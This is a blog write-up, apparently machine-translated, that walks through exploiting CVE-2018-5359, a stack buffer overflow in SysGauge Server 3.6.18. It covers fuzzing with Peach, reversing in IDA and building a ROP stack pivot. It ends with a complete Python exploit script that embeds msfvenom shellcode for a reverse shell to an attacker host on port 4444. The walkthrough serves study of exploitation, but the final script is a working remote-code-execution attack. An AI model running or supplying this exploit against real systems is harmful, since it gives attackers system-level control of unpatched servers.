History view

Windows Exploiting

SysGauge Server v3.6.18 CVE-2018-5359

theFaunia in the wild 2019. 3. 8. 06:28

Introduction


T he description of the vulnerability reads as follows:  The server in Flexense SysGauge 3.6.18 operating on port 9221 can be exploited remotely with the attacker gaining system-level access to a Buffer Overflow.

The final idea of ​​this article is to reproduce and detail the process by which the vulnerability can be detected and exploited,  including why it occurs. To study the vulnerability we can choose two methodologies:

Binary Diffing:

This paper is organized as follows. In this paper, we present a new methodology for analyzing the vulnerability of a software application. At the time of writing this article, the author was not able to find a fixed version of the software, so the option of Binary Diffing was discarded.

Fuzzing:

This technique is based on obtaining the program processes and modifies randomly (dumb fuzzing) in order to corrupt the software parsers and generate a crash in the program. We will choose this methodolgy

Instalation:

First we must install the vulnerable software. C: \ Program Files (x86) \ SysGauge Server.

Recon

Knowing from the information provided by the CVE, the server is listening on port 9221.

The server iterates to the netcat to see how the server iterates. But first we must know that the GUI interface is provided by the program. The binary responsible for starting the server is. \ Sysgaus.exe. If we execute the command by the CMD, we will not do anything that does not do anything.

We opened Hopper to perform static reversing in order to know the necessary parameter. Our search vector must be related to the way a parameter is sent by console of type "-parameter" or "--parameter". As it can not be otherwise, we must look at the string in search of some clue to be able to go backwards in the task of reverse engineering.

We see the references to the string code and we appreciate that this string is displayed with printf() function giving us to understand as exploiters that the program has not arrived in our iteration to execute that function. Why is it happens? Well, it is because we have not executed the parameter that the binary receives correctly, so it has never managed to execute that part of the code. We see the references to the function call sub_401060. We realize a JNE conditional jump and it will jump if the argument that receives the function corresponding to the parameters that are passed to the binary is not equal to a string. 

We see that it corresponds to a 0x428ac8 address that contains a string. We find it and we see in hexadecimal mode that corresponds to the string -console. Therefore we already know the parameter that is sent to the binary by console.

We run it again and we have the server running.

We start the client and we will check that it connects to the server without problems.

Research of Client-Server communication protocol

Having a client we are going to make a series of requests so we create a server with netcat in Linux. For this, we only have to make the connection with our client by selecting the IP of the listening server. Once the request is made, we see the following information.

We see non-printable and printable characters. SERVER_GET_INFO could be a command that the client executes towards the server. To study the communication we will use Wireshark for a study of packets to be sent between client and server. We are only interested in one package of the capture and it is the communication between Client-Server.

Client IP Address: 192.168.48.155

Server IP Address: 192.168.48.159


The packet contains 56 bytes of Data so we could build our client with Python and using pwntools library sending same information to server. In Show Packet Bytes of the package we copy the Array in C and we take it to Python to start building the client. Once we have the package formed, we add the connection in the client to interact with the server.

Run the server again .\Sysgaus.exe -console and it will listen. Then we execute the client and see the output.

In server we see that the connection was made correctly.

Fuzzing using Peach

The fuzzing process is based on randomly modifying the different parts of the message that we have managed to capture. Then we will send this modified information from the client to the server and analyze its behavior looking for a crash, if it occurs, we will analyze the logs in the first instance and then reproduce the crash under the debugger in order to analyze it more thoroughly.

We started using Peach Fuzzer to make a series of TCP requests to the Server. You can find the download link here. http://www.peach.tech/resources/peachcommunity/


This fuzzer requires the following requirements:

  • Know the architecture of our Windows either x86 or x64. This data is important because if we do not download the one that corresponds to the architecture of our operating system, it will fail.
  • Have Debugging Tools for Windows (x64) or x86. Without windbg the fuzzer will not be able to run the server and it will not be able to debug while the TCP requests are being sent. This will allow us when we see some crash in the directory of the logs a document of the debugging trace and in the assembler instruction where it broke. It is very useful since our goal is to know where crash and what input sent by TCP protocol.
  • A text editor to create an XML that will be our rules that the Fuzzer will take into account when launching it.

By default, Peach Fuzzer's own server runs listening on port 9001. Once this is clear, we proceed to create the XML rules document.

Then we must validate that our XML file can perform a valid communication with the server, for this we must start the Peach agent in a terminal with command: .\Peach.exe -a tcp. In another terminal we execute our XML file doing only one iteration of testing with the following command: .\Peach.exe --debug. \sysgaus\fuzzer.xml



In the image we can see how the Peach Agent correctly start the vulnerable Server. And as Peach Fuzzer sent the first testing package without fuzzing the Server and got a valid response as a result.

With this, we are ready to start our fuzzing process, we just have to stop running the Peach Agent and execute the following command in another terminal: .\Peach.exe --debug \Sysgaus\fuzzer.xml

After a short period of time we will have our first crash. Once crashed, we will have a bin file in the directory where the payload will be sent by the fuzzer as a client to the server, and crashed. We also locate another file where it contains information about the status of the records at the time of the crash, the library where the crash occurred: libpal.dll and the assembly instruction where failed: movsx ebp, [eax+ebx]. We will run the server and add the payload with our client to see that we are right.



And we realize that the server stopped working.



Reversing with IDA Pro


We run IDA taking into account in the options of the debugger to select the local debugger of windows and in the process options puts the parameter "-console". We run with F9 and it is waiting for the debugger opening a shell like the console that we saw previously waiting for connections from the client. We send the payload with the client that we created previously originating from the crash. As we can see the binary crash just in the instruction that the Fuzzer provided us.



And we can also realize that the crash occurs in WaitForMessage function of libpal.dll library. How do we locate the function of the library? We must look in the module of the dll for those strings "WaitForMessage" and see the function. Libpal.dll is an easy-to-use library packet assembly library, which provides functions for building and sending forged ethernet, IP, ICMP, TCP and UDP packets. As it can not be otherwise we must perform reverse engineering from the crash to see the reason the server stopped working. In the same way we have to know where we can find the payload that we send with the client. By locating a few blocks above, we find hardcoded a check corresponding to the first bytes that we sent in the package or payload, just before the call to ReadBuffer. The ReadBuffer function is responsible for reading the packets sent.



This value 0xABBA1975 corresponds to the first 4 bytes sent with the client.



According to the check that makes the JNZ conditional jumps we deduce that it is the header that checks the request, if it is not equal to that hardcoded value, it leaves the function. Then we obtain as a conclusion that it must be the same to continue checking the request sent to the server.

In the block below, compare the fifth packet (of 4 bytes) that we send with the value 0x400 or 1024 bytes in decimal. Maybe it corresponds to some size.



We follow the flow of execution and get at another instruction where we have control. In this case it corresponds to the fourth packet stored in the local variable var_420. We have then that the fourth packet that we send is 0x2000ff00 and corresponds to a local variable that we control.



According to the loop where crash we realize that EAX register is set to zero being a counter as it is incremental and ECX register that we control is the limit. This means that the loop performs a byte-by-byte check of the packet sent. Therefore, we deduce that the fourth packet should be the same size or contain the same as the fifth packet previously seen, that was 0x400.

In the next block, compare our sixth packet with EBP which in this case is zero. At this point we go blind because this instruction was not executed but it is obvious that it must be zero to follow the flow of execution. Therefore we are going to put a breakpoint right in the instruction where crashs besides modifying our packet sixth as 0x0 so that it jumps in the conditional jump JZ and also edit fifth packet of the size.



We run the script in addition to putting a breakpoint at the start of the WaitForMessage function to be able to debug instruction by instruction and see if the packet that we send now works correctly and the execution flow is directed by the blocks that interest us until we reach the call of the Deserialize function.

We must also attach the process and debugging therefore we run from a powershell console the binary as we saw previously and then we attach the process with IDA Pro. We launch the script and the EIP register will be pointing just at the beginning of the WaitForMessage function where we place the breakpoint. We must see if the first check passes so with IDA Pro we paint the green block. Next check the value of the EAX register = 0x1 therefore when performing the test instruction and not being 0x0 does not jump and we go to the correct block.



We continue executing and we arrive at the block where I checked the first package since the same thing happens as the previous EAX register = 0x1. When checking the first packet with the hardcoded value and being the same, it does not perform the JNZ conditional jump. The next check is with the size 0x400 and as we send the packet with that size it will jump. Then it comes to the block where the call to the ReadBuffer function will read the packet sent and will jump in the next check of the JNZ jump.

In the block before the crash, the ECX and EDX registers are set with the value of size 0x400. The crash was due to the fact that the size was not sent. Once we have to register EAX = 0x400 we go to the next block of the comparison and observe that it is not fulfilled because in EBP register we have 0x41 corresponding to the first byte of the junk that we send. So do not jump and go the wrong way so we just must modify our script again and change the sixth packet value to 0x41 and thus fulfill the condition. 



In summary form we have the following graph of the function once it has been reverse engineering and the paths that must be taken.



Once the script has been modified with this variant, we run again and debug attaching the process.



As we see now that it performs the conditional jump since it is equal to 0x41 although we must study this problem since our payload is 1024 bytes of 0x41, and if we want to generate a payload with a different pattern we will not know what it is, although it is probably the last byte. We continue and we see that we do not fulfill the expected since it compares our byte 0x1a with 0x8 and since it is not the same it does not jump and it enters the function DecryptBuffer and we do not have knowledge of the key so we do not have to enter here . An easy solution is in the package instead of sending 0x1a we send 0x8. We modify the script again and run it.



To rule out the exploitability of this bug we should only get a clean output of the function, but to continue with the execution of the program another crash appears in the SCA_GetToken function that is called when Deserialize is executed.



We have EIP control so we must move on to the exploitation process.


Exploitation


We create a pattern with metasploit of 1024 bytes and replace it with the A's in order to know at what point EIP overwritten. 



We run again and we see what happens. We find the problem that we already deduced and it is in the verification with the EBP register that we saw that it compares 0x41 (the hardcoded value that we added in the sixth packet) with 0x42 of the pattern. This value is the last one of the pattern therefore we must modify the script again to always be that value.



We modify our exploit as follows.



We execute and bypassed the check !! Cool ...



We continue the execution and we see with data of the pattern overwrites EIP register.



Overwrite with 0x33654132. Using metasploit the pattern_offset ruby script determines where that is.



We see that it is in position 128. Therefore we already know that we have padding 1024-128 = 896. We write in our exploit 128 of padding + 4 bytes with 0x41 + 892 of padding remaining. In this way we determine in an effective way that we really overwrite EIP register with 0x41414141. That would be our exploit.



Having EIP register controlled the step is to see the protections of the binary and for this we will use idasploiter.



None of the dll that is in /bin directory of the server has protections, which is good news because the exploit environment is 100% feasible. We can execute code in the stack therefore having a shellcode will serve us. Go for it!.

The first step we must take is to know the memory address in the stack of the next 4 bytes after where we write EIP register and the value of ESP (memory address) once crashed.



0x0329FAA8-0x0329F414 = 1684 bytes. There is enough distance so we should do ROP and find a gadget that adds these bytes to ESP by moving the pointer (Stack Pivot) and thus be able to execute the next remaining 892 bytes (shellcode). We must have two gadgets:

  • A Stack Pivot greater than or equal to 1684 bytes to position ESP over our buffer: add esp, 0x694; ret (or greater)
  • Pass the execution to the stack to execute our buffer (No DEP): push esp; ret

We use idasploiter to find the first gadget in the libraries.


As you can see we have the problem that it does not reach 1684 bytes if we use the first gadget in the list and it will be pointing in our buffer but not in the expected place. Therefore we must use two gadgets to pivot and recalculate for the second. We add the first gadget to the exploit.



First we have to see where is the ESP register with the stack pivot before or offset of the pointer, to modify the first padding of B's of our exploit. We run again and see how it is going to crash.



We can see in the image before how ESP register is now pointing to an area of memory that we control thanks to the first gadget but it is not after when we overwrote EIP register of the first time, and this must be that way because otherwise we will not have enough space for the shellcode.

The memory address in the stack where ESP register is currently is: 0x0489FA70 and the memory address after the overwriting of EIP is: 0x0489FAA8. If we subtract 56 bytes and need another gadget that adds ESP register 56 bytes or more.

But to write the second gadget we must aim well and calculate from the beginning of the B's to where ESP is currently. The start is in the memory address 0x0489FA24. If we perform the subtraction it gives us 76 bytes-4. We have to subtract 4 bytes since these will be the bytes of the memory address of the second gadget.

We search for the gadget before implementing the strategy seen.



We add the gadget with the calculations described above in the exploit.



We run again and we see that we have successfully achieved the stack pivot!




From where we overwrote EIP register to the ESP register memory address there are 28 bytes of 0x43 that we can leave it like this, but the following bytes we can try putting 8 bytes of 0x90 or nops and see what happens to go to the next step of creating the shellcode. We make the appropriate modifications in the exploit again. When executing it we realize that ESP is pointing to the beginning of NOP's. Cool!


The next step is the third gadget that we needed: push esp; ret, so that EIP register now is the memory address where the nops are and does not break as is the case if we run the exploit. We add the new gadget to the exploit, as follows:



We run again and put a breakpoint in the memory address of the gadget to see what happens. We realize that we get to the third gadget, which is good news! Finally we view the execution of the nops.



In the end we must generate a shellcode with msfvenom. We generate one that allows us to have a shell with an netcat listening on port 4444. We note that the shellcode generated is 716 bytes and we have plenty of space in the buffer to locate it. We must also do the calculation to send the correct size so we simply subtract 864-716 = 148 Nops of padding. In the check bypass we also modify so that it takes the last byte of the buffer that in this case is now the shellcode. Final exploit:



from pwn import *

context.log_level = 'debug'
p = remote("192.168.48.171",9221)

#msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.48.169 LPORT=4444 -e x86/alpha_upper -f python

buf =  ""
buf += "\x89\xe1\xdd\xc1\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
buf += "\x43\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30"
buf += "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30"
buf += "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
buf += "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a"
buf += "\x49\x4b\x4c\x5a\x48\x4d\x52\x43\x30\x43\x30\x53\x30"
buf += "\x45\x30\x4d\x59\x4b\x55\x56\x51\x59\x50\x52\x44\x4c"
buf += "\x4b\x50\x50\x50\x30\x4c\x4b\x46\x32\x44\x4c\x4c\x4b"
buf += "\x50\x52\x54\x54\x4c\x4b\x54\x32\x31\x38\x34\x4f\x58"
buf += "\x37\x50\x4a\x51\x36\x56\x51\x4b\x4f\x4e\x4c\x47\x4c"
buf += "\x35\x31\x33\x4c\x44\x42\x46\x4c\x51\x30\x49\x51\x58"
buf += "\x4f\x54\x4d\x55\x51\x4f\x37\x4b\x52\x4a\x52\x51\x42"
buf += "\x46\x37\x4c\x4b\x30\x52\x54\x50\x4c\x4b\x51\x5a\x57"
buf += "\x4c\x4c\x4b\x30\x4c\x32\x31\x33\x48\x5a\x43\x50\x48"
buf += "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x50\x59\x47\x50\x33"
buf += "\x31\x38\x53\x4c\x4b\x57\x39\x44\x58\x5a\x43\x47\x4a"
buf += "\x57\x39\x4c\x4b\x37\x44\x4c\x4b\x43\x31\x38\x56\x36"
buf += "\x51\x4b\x4f\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x53\x31"
buf += "\x58\x47\x46\x58\x4b\x50\x43\x45\x4c\x36\x34\x43\x43"
buf += "\x4d\x4a\x58\x57\x4b\x43\x4d\x56\x44\x33\x45\x4d\x34"
buf += "\x36\x38\x4c\x4b\x56\x38\x37\x54\x53\x31\x39\x43\x42"
buf += "\x46\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x46\x38\x45\x4c"
buf += "\x35\x51\x38\x53\x4c\x4b\x54\x44\x4c\x4b\x53\x31\x48"
buf += "\x50\x4b\x39\x51\x54\x51\x34\x46\x44\x31\x4b\x51\x4b"
buf += "\x35\x31\x51\x49\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x51"
buf += "\x4f\x51\x4f\x30\x5a\x4c\x4b\x54\x52\x5a\x4b\x4c\x4d"
buf += "\x51\x4d\x32\x48\x30\x33\x57\x42\x43\x30\x55\x50\x45"
buf += "\x38\x32\x57\x43\x43\x37\x42\x51\x4f\x56\x34\x35\x38"
buf += "\x50\x4c\x53\x47\x47\x56\x33\x37\x4b\x4f\x49\x45\x58"
buf += "\x38\x4c\x50\x53\x31\x35\x50\x43\x30\x51\x39\x4f\x34"
buf += "\x31\x44\x46\x30\x55\x38\x31\x39\x4b\x30\x52\x4b\x43"
buf += "\x30\x4b\x4f\x39\x45\x50\x50\x46\x30\x46\x30\x36\x30"
buf += "\x37\x30\x50\x50\x51\x50\x50\x50\x33\x58\x4b\x5a\x44"
buf += "\x4f\x49\x4f\x4b\x50\x4b\x4f\x49\x45\x4a\x37\x43\x5a"
buf += "\x35\x55\x35\x38\x39\x50\x49\x38\x30\x30\x4e\x49\x52"
buf += "\x48\x35\x52\x35\x50\x54\x51\x31\x4c\x4c\x49\x5a\x46"
buf += "\x42\x4a\x54\x50\x46\x36\x36\x37\x43\x58\x4c\x59\x39"
buf += "\x35\x43\x44\x43\x51\x4b\x4f\x4e\x35\x4b\x35\x39\x50"
buf += "\x33\x44\x54\x4c\x4b\x4f\x50\x4e\x45\x58\x33\x45\x4a"
buf += "\x4c\x32\x48\x4a\x50\x48\x35\x59\x32\x30\x56\x4b\x4f"
buf += "\x39\x45\x53\x58\x52\x43\x52\x4d\x52\x44\x55\x50\x4c"
buf += "\x49\x5a\x43\x50\x57\x31\x47\x31\x47\x30\x31\x4b\x46"
buf += "\x53\x5a\x52\x32\x56\x39\x50\x56\x5a\x42\x4b\x4d\x35"
buf += "\x36\x49\x57\x47\x34\x36\x44\x57\x4c\x53\x31\x33\x31"
buf += "\x4c\x4d\x47\x34\x47\x54\x54\x50\x49\x56\x43\x30\x37"
buf += "\x34\x30\x54\x50\x50\x31\x46\x51\x46\x30\x56\x50\x46"
buf += "\x30\x56\x50\x4e\x51\x46\x51\x46\x31\x43\x50\x56\x42"
buf += "\x48\x33\x49\x48\x4c\x37\x4f\x4c\x46\x4b\x4f\x4e\x35"
buf += "\x4d\x59\x4b\x50\x30\x4e\x46\x36\x47\x36\x4b\x4f\x50"
buf += "\x30\x32\x48\x45\x58\x4d\x57\x35\x4d\x43\x50\x4b\x4f"
buf += "\x48\x55\x4f\x4b\x4a\x50\x4f\x45\x4f\x52\x51\x46\x53"
buf += "\x58\x49\x36\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x4e\x35"
buf += "\x57\x4c\x33\x36\x43\x4c\x34\x4a\x4b\x30\x4b\x4b\x4b"
buf += "\x50\x53\x45\x43\x35\x4f\x4b\x50\x47\x54\x53\x42\x52"
buf += "\x52\x4f\x32\x4a\x35\x50\x30\x53\x4b\x4f\x49\x45\x41"
buf += "\x41"

packet = ""
packet += p32(0xabba1975) #First check header
packet += p32(0x00000001) #Second packet
packet += p32(0x08000000) #Third packet
packet += p32(0x400) #ECX Size loop
packet += p32(0x400) #Max Size 0x400 hardcoded check
exploit = ""
exploit += "B"*72 #Junk data
exploit += p32(0x100571EB) #Second gadget add esp, 50h # retn libdsm.dll
exploit += "B"*52 #Junk data
exploit += p32(0x1001C6DE) #EIP OVERWRITE First gadget add esp, 658h # retn  libdsm.dll
exploit += "C"*24 #Junk data
exploit += p32(0x10066657) #Third gadget  push esp # retn libdsm.dll
exploit += "\x90"*148 #Nops padding

bypass = p32(ord(buf[-1])) #cmp ebp, [esp+44Ch+var_418] Trigger JZ to Deserialize function
#Last 4 packets sent before
final_packet = p32(0x495f5445)
final_packet += p32(0xffff6174)
final_packet += p32(0x006d0011)
final_packet + = p32 ( 0x001818e4 )

print  "Sending packet .." + packet + bypass + exploit + buf + final_packet

p.send (packet + bypass + exploit + buf + final_packet)
print p.recvall ()
p.close ()

We run  the exploit and we have our shell. We got RCE !!


Netcat listener:



 


'Windows Exploiting' 카테고리의 다른 글

Exploit notes - Basic overflow but not exploitable  (0) 2019.03.12
SEIG Modbus Driver v3.34 CVE-2013-0662  (0) 2019.03.11
CoDeSys 3.4 CVE-2011-5007  (0) 2019.03.07
Comments